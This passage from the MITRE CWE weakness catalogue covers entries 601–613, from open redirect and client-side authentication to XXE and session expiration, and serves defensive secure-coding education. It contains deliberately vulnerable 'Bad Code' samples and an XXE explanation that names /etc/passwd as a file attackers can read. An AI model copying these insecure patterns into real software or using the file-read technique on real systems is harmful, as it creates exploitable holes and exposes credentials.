Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

**Architecture and Design****Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [R.601.4] provide this capability.

**Architecture and Design**

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [R.601.1]. Be sure that the nonce is not predictable (CWE-330).

Note that this can be bypassed using XSS (CWE-79).

**Architecture and Design****Implementation****Identify and Reduce Attack Surface**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

**Operation****Firewall****Moderate**












Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Background Details**

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		20	Improper Input Validation	<b>699</b>	18
ChildOf		442	Web Problems	699	755
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	<b>1000</b>	957
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		801	2010 Top 25 - Insecure Interaction Between Components	<b>800</b>	1228
ChildOf		819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	<b>809</b>	1248
ChildOf		864	2011 Top 25 - Insecure Interaction Between Components	<b>900</b>	1308
ChildOf		938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	<b>928</b>	1361
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
WASC	38	URI Redirector Abuse
Software Fault Patterns	SFP24	Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
194	Fake the Source of Data	

### References

Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". < <http://www.cs.indiana.edu/cgi-pub/cshue/research/woot08.pdf> >.

Russ McRee. "Open redirect vulnerabilities: definition and prevention". Page 43. Issue 17. (IN)SECURE. July 2008. < <http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf> >.

Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". SANS Software Security Institute. 2010-03-25. < <http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect> >.

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602 (Weakness Base)

Status: Draft

### Description

#### Summary

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

#### Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- All

#### Architectural Paradigms

- Client-Server (*Sometimes*)

### Common Consequences

#### Access Control

#### Availability

#### Bypass protection mechanism

#### DoS: crash / exit / restart

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.

#### Access Control

#### Bypass protection mechanism

#### Gain privileges / assume identity

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.

### Likelihood of Exploit

Medium

## Enabling Factors for Exploitation

Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.

## Demonstrative Examples

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

### Perl Example:

*Good Code*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
    # username/pass is valid, go ahead and update the info!
    writeSocket($sock, "CHANGE-ADDRESS $username $address\n");
}
else {
    print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

*Bad Code*

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
    ($username, $pass) = split(/\s+/, $args, 2);
    $result = AuthenticateUser($username, $pass);
    writeSocket($sock, "$result\n");
    # does not close the socket on failure; assumes the
    # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
    if (validateAddress($args)) {
        $res = UpdateDatabaseRecord($username, "address", $args);
        writeSocket($sock, "SUCCESS\n");
    }
    else {
        writeSocket($sock, "FAILURE -- address is malformed\n");
    }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

## Observed Examples

Reference	Description
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks.
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files.
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client.



Reference	Description
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client.

## Potential Mitigations

### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

### Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

### Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.














### Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		254	Security Features	<b>699</b>	452
PeerOf		290	Authentication Bypass by Spoofing	1000	514
PeerOf		300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	1000	530
CanPrecede		471	Modification of Assumed-Immutable Data (MAID)	1000	792
ChildOf		669	Incorrect Resource Transfer Between Spheres	<b>1000</b>	1036
ChildOf		693	Protection Mechanism Failure	1000	1074
ChildOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	<b>711</b>	1116
ChildOf		753	2009 Top 25 - Porous Defenses	<b>750</b>	1143
ChildOf		975	SFP Secondary Cluster: Architecture	<b>888</b>	1382
ParentOf		565	<i>Reliance on Cookies without Validation and Integrity Checking</i>	1000	901
ParentOf		603	<i>Use of Client-Side Authentication</i>	<b>1000</b>	950
PeerOf		836	<i>Use of Password Hash Instead of Password for Authentication</i>	1000	1275
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

## Research Gaps

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials	
31	Accessing/Intercepting/Modifying HTTP Cookies	
63	Simple Script Injection	
122	Privilege Abuse	
162	Manipulating hidden fields to change the normal flow of transactions (eShoplifting)	
202	Create Malicious Client	
207	Removing Important Functionality from the Client	
208	Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements	
383	Harvesting Usernames or UserIDs via Application API Event Monitoring	
384	Application API Message Manipulation via Man-in-the-Middle	
385	Transaction or Event Tampering via Application API Manipulation	
386	Application API Navigation Remapping	
387	Navigation Remapping To Propagate Malicious Content	
388	Application API Button Hijacking	
389	Content Spoofing Via Application API Manipulation	

**References**

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 23, "Client-Side Security Is an Oxymoron" Page 687. 2nd Edition. Microsoft. 2002.

**CWE-603: Use of Client-Side Authentication**

Weakness ID: 603 (Weakness Base)

Status: Draft

**Description****Summary**

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

**Extended Description**

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

**Time of Introduction**

- Architecture and Design
- Implementation



**Common Consequences****Access Control****Bypass protection mechanism****Gain privileges / assume identity****Observed Examples**

Reference	Description
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client.

**Potential Mitigations****Architecture and Design**

Do not rely on client side data. Always perform server side authentication.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		287	Improper Authentication	<input checked="" type="checkbox"/>	699 507
PeerOf		300	Channel Accessible by Non-Endpoint ('Man-in-the-Middle')	<input checked="" type="checkbox"/>	1000 530

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf		592	Authentication Bypass Issues	1000	933
ChildOf		602	Client-Side Enforcement of Server-Side Security	<b>1000</b>	947
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	<b>888</b>	1371

### Taxonomy Mappings

#### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37.. 1st Edition. Addison Wesley. 2006.

### Maintenance Notes

Note that there is a close relationship between this weakness and CWE-656 (Reliance on Security through Obscurity). If developers do not believe that a user can reverse engineer a client, then they are more likely to choose client-side authentication in the belief that it is safe.

## CWE-604: Deprecated Entries

View ID: 604 (View: Implicit Slice)

Status: Draft

### Objective

CWE nodes in this view (slice) have been deprecated. There should be a reference pointing to the replacement in each deprecated weakness.

### View Data

#### Filter Used:

//@Status='Deprecated'

#### View Metrics

	CWEs in this view		Total CWEs
<b>Total</b>	<b>14</b>	out of	1003
<b>Views</b>	0	out of	32
<b>Categories</b>	1	out of	244
<b>Weaknesses</b>	13	out of	719
<b>Compound_Elements</b>	0	out of	8

### CWEs Included in this View

Type	ID	Name
	92	DEPRECATED: Improper Sanitization of Custom Special Characters
	132	DEPRECATED (Duplicate): Miscalculated Null Termination
	139	DEPRECATED: General Special Element Problems
	217	DEPRECATED: Failure to Protect Stored Data from Modification
	218	DEPRECATED (Duplicate): Failure to provide confidentiality for stored data
	225	DEPRECATED (Duplicate): General Information Management Problems
	247	DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision
	249	DEPRECATED: Often Misused: Path Manipulation
	292	DEPRECATED (Duplicate): Trusting Self-reported DNS Name
	373	DEPRECATED: State Synchronization Error
	423	DEPRECATED (Duplicate): Proxied Trusted Channel
	443	DEPRECATED (Duplicate): HTTP response splitting
	458	DEPRECATED: Incorrect Initialization
	516	DEPRECATED (Duplicate): Covert Timing Channel

## CWE-605: Multiple Binds to the Same Port

Weakness ID: 605 (Weakness Base)

Status: Draft

### Description

#### Summary

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Read application data

Packets from a variety of network services may be stolen or the services spoofed.

### Enabling Factors for Exploitation

On most systems, a combination of setting the SO\_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR\_ANY. This allows a user to bind to the specific address of a server bound to INADDR\_ANY on an unprivileged port, and steal its udp packets/tcp connection.

### Demonstrative Examples

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

#### C Example:

*Bad Code*

```
void bind_socket(void) {
    int server_sockfd;
    int server_len;
    struct sockaddr_in server_address;
    /*unlink the socket if already bound to avoid an error when bind() is called*/
    unlink("server_socket");
    server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_port = 21;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

### Potential Mitigations

#### Policy

Restrict server socket address to known local addresses.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		227	Improper Fulfillment of API Contract ('API Abuse')		699 418
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime		1000 1031
ChildOf		675	Duplicate Operations on Resource		1000 1043
ChildOf		954	SFP Secondary Cluster: Multiple Binds to the Same Port		888 1374
MemberOf		884	CWE Cross-section		884 1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP32	Multiple binds to the same port

# CWE-606: Unchecked Input for Loop Condition

Weakness ID: 606 (Weakness Base) Status: Draft

## Description

### Summary

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service because of excessive looping.

### Time of Introduction

- Implementation

### Common Consequences

#### Availability

**DoS: resource consumption (CPU)**

### Demonstrative Examples

#### C Example:

*Bad Code*

```
void iterate(int n){
    int i;
    for (i = 0; i < n; i++){
        foo();
    }
}
void iterateFoo()
{
    unsigned int num;
    scanf("%u",&num);
    iterate(num);
}
```

### Potential Mitigations

#### Implementation

Do not use user-controlled data for loop conditions.

#### Implementation

Perform input validation.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>1000</b>	18
ChildOf		738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
CanPrecede		834	Excessive Iteration	1000	1272
ChildOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	<b>868</b>	1313
ChildOf		994	SFP Secondary Cluster: Tainted Input to Variable	<b>888</b>	1391

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	INT03-C	Use a secure integer library
CERT C++ Secure Coding	INT03-CPP	Use a secure integer library
Software Fault Patterns	SFP25	Tainted input to variable

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Looping Constructs", Page 327.. 1st Edition. Addison Wesley. 2006.

# CWE-607: Public Static Final Field References Mutable Object

Weakness ID: 607 (Weakness Variant) Status: Draft

**Description****Summary**

A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences****Integrity****Modify application data****Demonstrative Examples**

Here, an array (which is inherently mutable) is labeled public static final.

**Java Example:***Bad Code*

```
public static final String[] USER_ROLES;
```

**Potential Mitigations****Implementation**

Protect mutable objects by making them private. Restrict access to the getter and setter as well.

**Relationships**

Nature	Type	ID	Name	V	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	699	792
ChildOf	G	485	Insufficient Encapsulation	<b>699</b>	819
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP23	Exposed Data

**CWE-608: Struts: Non-private Field in ActionForm Class****Weakness ID:** 608 (*Weakness Variant*)**Status:** Draft**Description****Summary**

An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- Java

**Common Consequences****Integrity****Confidentiality****Modify application data****Read application data****Demonstrative Examples**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for a online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

**Java Example:**

Bad Code

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // variables for registration form
    public String name;
    public String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    ...
}
```

However, within the RegistrationForm the member variables for the registration form input data are declared public not private. All member variables within a Struts framework ActionForm class must be declared private to prevent the member variables from being modified without using the getter and setter methods. The following example shows the member variables being declared private and getter and setter methods declared for accessing the member variables.

**Java Example:**

Good Code

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

**Potential Mitigations**

**Implementation**

Make all fields private. Use getter to get the value of the field. Setter should be used only by the framework; setting an action form field from other actions is bad practice and should be avoided.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		101	Struts Validation Problems	699	193
ChildOf		668	Exposure of Resource to Wrong Sphere	1000	1035
ChildOf		1002	SFP Secondary Cluster: Unexpected Entry Points	888	1404

**Causal Nature**

**Explicit** (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
Software Fault Patterns	SFP28	Unexpected access points

# CWE-609: Double-Checked Locking

Weakness ID: 609 (Weakness Base) Status: Draft

**Description**

**Summary**

The program uses double-checked locking to access a resource without the overhead of explicit synchronization, but the locking is insufficient.

**Extended Description**



Double-checked locking refers to the situation where a programmer checks to see if a resource has been initialized, grabs a lock, checks again to see if the resource has been initialized, and then performs the initialization if it has not occurred yet. This should not be done, as is not guaranteed to work in all languages and on all architectures. In summary, other threads may not be operating inside the synchronous block and are not guaranteed to see the operations execute in the same order as they would appear inside the synchronous block.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Java

**Common Consequences**

**Integrity**

**Other**

**Modify application data**

**Alter execution logic**

**Demonstrative Examples**

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

**Java Example:**

*Bad Code*

```
if (helper == null) {
  synchronized (this) {
    if (helper == null) {
      helper = new Helper();
    }
  }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

*Bad Code*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

**Potential Mitigations**

**Implementation**

While double-checked locking can be achieved in some languages, it is inherently flawed in Java before 1.5, and cannot be achieved without compromising platform independence. Before Java 1.5, only use of the synchronized keyword is known to work. Beginning in Java 1.5, use of the "volatile" keyword allows double-checked locking to work successfully, although there is some debate as to whether it achieves sufficient performance gains. See references.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	361	Time and State	<b>699</b>	626
CanPrecede	<b>B</b>	367	Time-of-check Time-of-use (TOCTOU) Race Condition	1000	642
ChildOf	<b>B</b>	667	Improper Locking	<b>1000</b>	1032
ChildOf	<b>C</b>	853	CERT Java Secure Coding Section 08 - Locking (LCK)	<b>844</b>	1295
ChildOf	<b>C</b>	986	SFP Secondary Cluster: Missing Lock	<b>888</b>	1386

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	LCK10-J	Do not use incorrect forms of the double-checked locking idiom
Software Fault Patterns	SFP19	Missing Lock

## References

David Bacon et al. "The "Double-Checked Locking is Broken" Declaration". < <http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html> >.

Jeremy Manson and Brian Goetz. "JSR 133 (Java Memory Model) FAQ". < <http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Threading Vulnerabilities", Page 815.. 1st Edition. Addison Wesley. 2006.

# CWE-610: Externally Controlled Reference to a Resource in Another Sphere

Weakness ID: 610 (*Weakness Class*)

Status: Draft

## Description

### Summary

The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.

### Extended Description

## Time of Introduction

- Architecture and Design

## Common Consequences

### Confidentiality

### Integrity

### Read application data

### Modify application data

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		265	Privilege / Sandbox Issues	<b>699</b>	469
ChildOf		664	Improper Control of a Resource Through its Lifetime	<b>1000</b>	1026
ChildOf		980	SFP Secondary Cluster: Link in Resource Name Resolution	<b>888</b>	1384
ParentOf		15	<i>External Control of System or Configuration Setting</i>	1000	14
ParentOf		73	<i>External Control of File Name or Path</i>	1000	109
PeerOf		386	<i>Symbolic Name not Mapping to Correct Object</i>	1000	667
ParentOf		441	<i>Unintended Proxy or Intermediary ('Confused Deputy')</i>	<b>1000</b>	753
ParentOf		470	<i>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</i>	1000	789
ParentOf		601	<i>URL Redirection to Untrusted Site ('Open Redirect')</i>	<b>1000</b>	942
ParentOf		611	<i>Improper Restriction of XML External Entity Reference ('XXE')</i>	<b>1000</b>	958

## Relationship Notes

This is a general class of weakness, but most research is focused on more specialized cases, such as path traversal (CWE-22) and symlink following (CWE-61). A symbolic link has a name; in general, it appears like any other file in the file system. However, the link includes a reference to another file, often in another directory - perhaps in another sphere of control. Many common library functions that accept filenames will "follow" a symbolic link and use the link's target instead.

## Taxonomy Mappings

### Mapped Taxonomy Name

Anonymous Tool Vendor  
(under NDA)

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
219	XML Routing Detour Attacks	

### Maintenance Notes

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

## CWE-611: Improper Restriction of XML External Entity Reference ('XXE')

Weakness ID: 611 (Weakness Variant)

Status: Draft

### Description

#### Summary

The software processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.

#### Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

### Alternate Terms

#### XXE

XXE is an acronym used for the term "XML eXternal Entities"

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- XML

#### Architectural Paradigms

- Web-based

### Common Consequences

#### Confidentiality

#### Read application data

#### Read files or directories

If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.

**Integrity****Bypass protection mechanism**

The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.

**Availability****DoS: resource consumption (CPU)****DoS: resource consumption (memory)**

The software could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as `/dev/random`. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.

**Observed Examples**

Reference	Description
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.
CVE-2009-1699	XXE in XSL stylesheet functionality in a common library used by some web browsers.
CVE-2010-3322	XXE in product that performs large-scale data analysis.
CVE-2011-4107	XXE in web-based administration tool for database.
CVE-2012-0037	XXE in office document product using RDF.
CVE-2012-2239	XXE in PHP application allows reading the application's configuration file.
CVE-2012-3363	XXE via XML-RPC request.
CVE-2012-3489	XXE in database server
CVE-2012-4399	XXE in rapid web application development framework allows reading arbitrary files.
CVE-2012-5656	XXE during SVG image conversion

**Potential Mitigations****Implementation****System Configuration**

Many XML parsers and validators can be configured to disable external entity expansion.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
PeerOf		441	Unintended Proxy or Intermediary ('Confused Deputy')	1000	753
ChildOf		442	Web Problems	699	755
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1388

**Relationship Notes**

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

**Relevant Properties**

- Accessibility

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	43	XML External Entities
Software Fault Patterns	SFP24	Tainted input to command

**References**

OWASP. "XML External Entity (XXE) Processing". < [https://www.owasp.org/index.php/XML\\_External\\_Entity\\_\(XXE\)\\_Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) >.

Sascha Herzog. "XML External Entity Attacks (XXE)". 2010-10-20. < [https://www.owasp.org/images/5/5d/XML\\_External\\_Entity\\_Attack.pdf](https://www.owasp.org/images/5/5d/XML_External_Entity_Attack.pdf) >.

Gregory Steuck. "XXE (Xml eXternal Entity) Attack". < <http://www.securiteam.com/securitynews/6D0100A5PU.html> >.

WASC. "XML External Entities (XXE) Attack". < <http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities> >.

Bryan Sullivan. "XML Denial of Service Attacks and Defenses". September, 2009. < <http://msdn.microsoft.com/en-us/magazine/ee335713.aspx> >.

. "Preventing XXE in PHP". < <http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html> >.

## CWE-612: Information Exposure Through Indexing of Private Data

Weakness ID: 612 (Weakness Variant)

Status: Draft

### Description

#### Summary

The product performs an indexing routine against private documents, but does not sufficiently verify that the actors who can access the index also have the privileges to access the private documents.

#### Extended Description

When an indexing routine is applied against a group of private documents, and that index's results are available to outsiders who do not have access to those documents, then outsiders might be able to obtain sensitive information by conducting targeted searches. The risk is especially dangerous if search results include surrounding text that was not part of the search query. This issue can appear in search engines that are not configured (or implemented) to ignore critical files that should remain hidden; even without permissions to download these files directly, the remote user could read them.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages



- All

#### Common Consequences

##### Confidentiality

Read application data

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		200	Information Exposure	<input checked="" type="checkbox"/>	699 1000 384
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1377

#### Research Gaps

This weakness is probably under-studied and under-reported

#### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
WASC	48	Insecure Indexing

## CWE-613: Insufficient Session Expiration

Weakness ID: 613 (Weakness Base)

Status: Incomplete

### Description

#### Summary

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

#### Time of Introduction

- Architecture and Design

- Implementation

### Common Consequences

#### Access Control

#### Bypass protection mechanism

### Demonstrative Examples

The following snippet was taken from a J2EE web.xml deployment descriptor in which the session-timeout parameter is explicitly defined (the default value depends on the container). In this case the value is set to -1, which means that a session will never expire.

#### Java Example:

*Bad Code*

```
<web-app>
  [...snipped...]
  <session-config>
    <session-timeout>-1</session-timeout>
  </session-config>
</web-app>
```

